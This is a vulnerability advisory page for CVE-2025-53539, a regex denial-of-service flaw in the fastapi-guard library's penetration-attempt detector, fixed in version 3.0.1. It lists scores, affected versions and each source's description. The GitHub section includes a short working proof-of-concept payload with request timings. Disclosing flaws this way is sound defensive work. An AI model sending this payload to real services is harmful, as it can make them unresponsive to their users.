CVE-2025-53539
JSON

6.9medium

ReDoS in fastapi-guard's penetration attempts detector

Severity
6.9medium CVSS:4.0 by GitHub_M
Exploit likelihood
0.60% (higher than 50% of CVEs; EPSS, by FIRST)
Published
Last changed
Assigned by
GitHub_M
Also known as
GHSA-j47q-rc62-w448PYSEC-2026-1359

Description

FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.

Affected

Product or packageVersionsReported by
rennf93 fastapi-guard< 3.0.1CVE List
fastapi-guard (PyPI)before 3.0.1GitHub Advisory Database, PyPA Advisory Database
fastapi-guard fastapi_guardbefore 3.0.1NVD

All scores

GitHub_M6.9medium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
GitHubmedium CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
NVD7.5high CVSS:3.1CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
PyPA Advisory DatabaseNot scored CVSS:4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Classification

CWE-1333

SSVC (CISA-ADP): exploitation poc, automatable no, technical impact partial.

What each source says

CVE List

FastAPI Guard is a security library for FastAPI that provides middleware to control IPs, log requests, and detect penetration attempts. fastapi-guard's penetration attempts detection uses regex to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs. This vulnerability is fixed in 3.0.1.

GitHub Advisory Database
Summary

fastapi-guard detects penetration attempts by using regex patterns to scan incoming requests. However, some of the regex patterns used in detection are extremely inefficient and can cause polynomial complexity backtracks when handling specially crafted inputs.

It is not as severe as exponential complexity ReDoS, but still downgrades performance and allows DoS exploits. An attacker can trigger high cpu usage and make a service unresponsive for hours by sending a single request in size of KBs.

PoC

e.g. https://github.com/rennf93/fastapi-guard/blob/1e6c2873bfc7866adcbe5fc4da72f2d79ea552e7/guard/handlers/suspatterns_handler.py#L31C79-L32C7

payload = lambda n: '<'*n+ ' '*n+ 'style=' + '"'*n + ' '*n+ 'url('*n # complexity: O(n^5)

print(requests.post("http://172.24.1.3:8000/", data=payload(50)).elapsed) # 0:00:03.771120
print(requests.post("http://172.24.1.3:8000/", data=payload(100)).elapsed) # 0:01:17.952637
print(requests.post("http://172.24.1.3:8000/", data=payload(200)).elapsed) # timeout (>15min)

Single-threaded uvicorn workers can not handle any other concurrent requests during the elapsed time.

Impact

Penetration detection is enabled by default. Services that use fastapi-guard middleware without explicitly setting enable_penetration_detection=False are vulnerable to DoS.

NVD (es)

FastAPI Guard es una librería de seguridad para FastAPI que proporciona middleware para controlar IP, registrar solicitudes y detectar intentos de penetración. La detección de intentos de penetración de fastapi-guard utiliza expresiones regulares para analizar las solicitudes entrantes. Sin embargo, algunos patrones de expresiones regulares utilizados en la detección son extremadamente ineficientes y pueden causar retrocesos de complejidad polinómica al procesar entradas especialmente manipuladas. Esta vulnerabilidad se corrigió en la versión 3.0.1.

References

Sources

SourceRecordLicence
CVE ListCVE-2025-53539 changed 2025-07-07CVE Terms of Use
GitHub Advisory DatabaseGHSA-j47q-rc62-w448 changed 2026-07-07CC-BY-4.0
NVDCVE-2025-53539 changed 2026-06-17Public domain
PyPA Advisory DatabasePYSEC-2026-1359 changed 2026-07-07CC-BY-4.0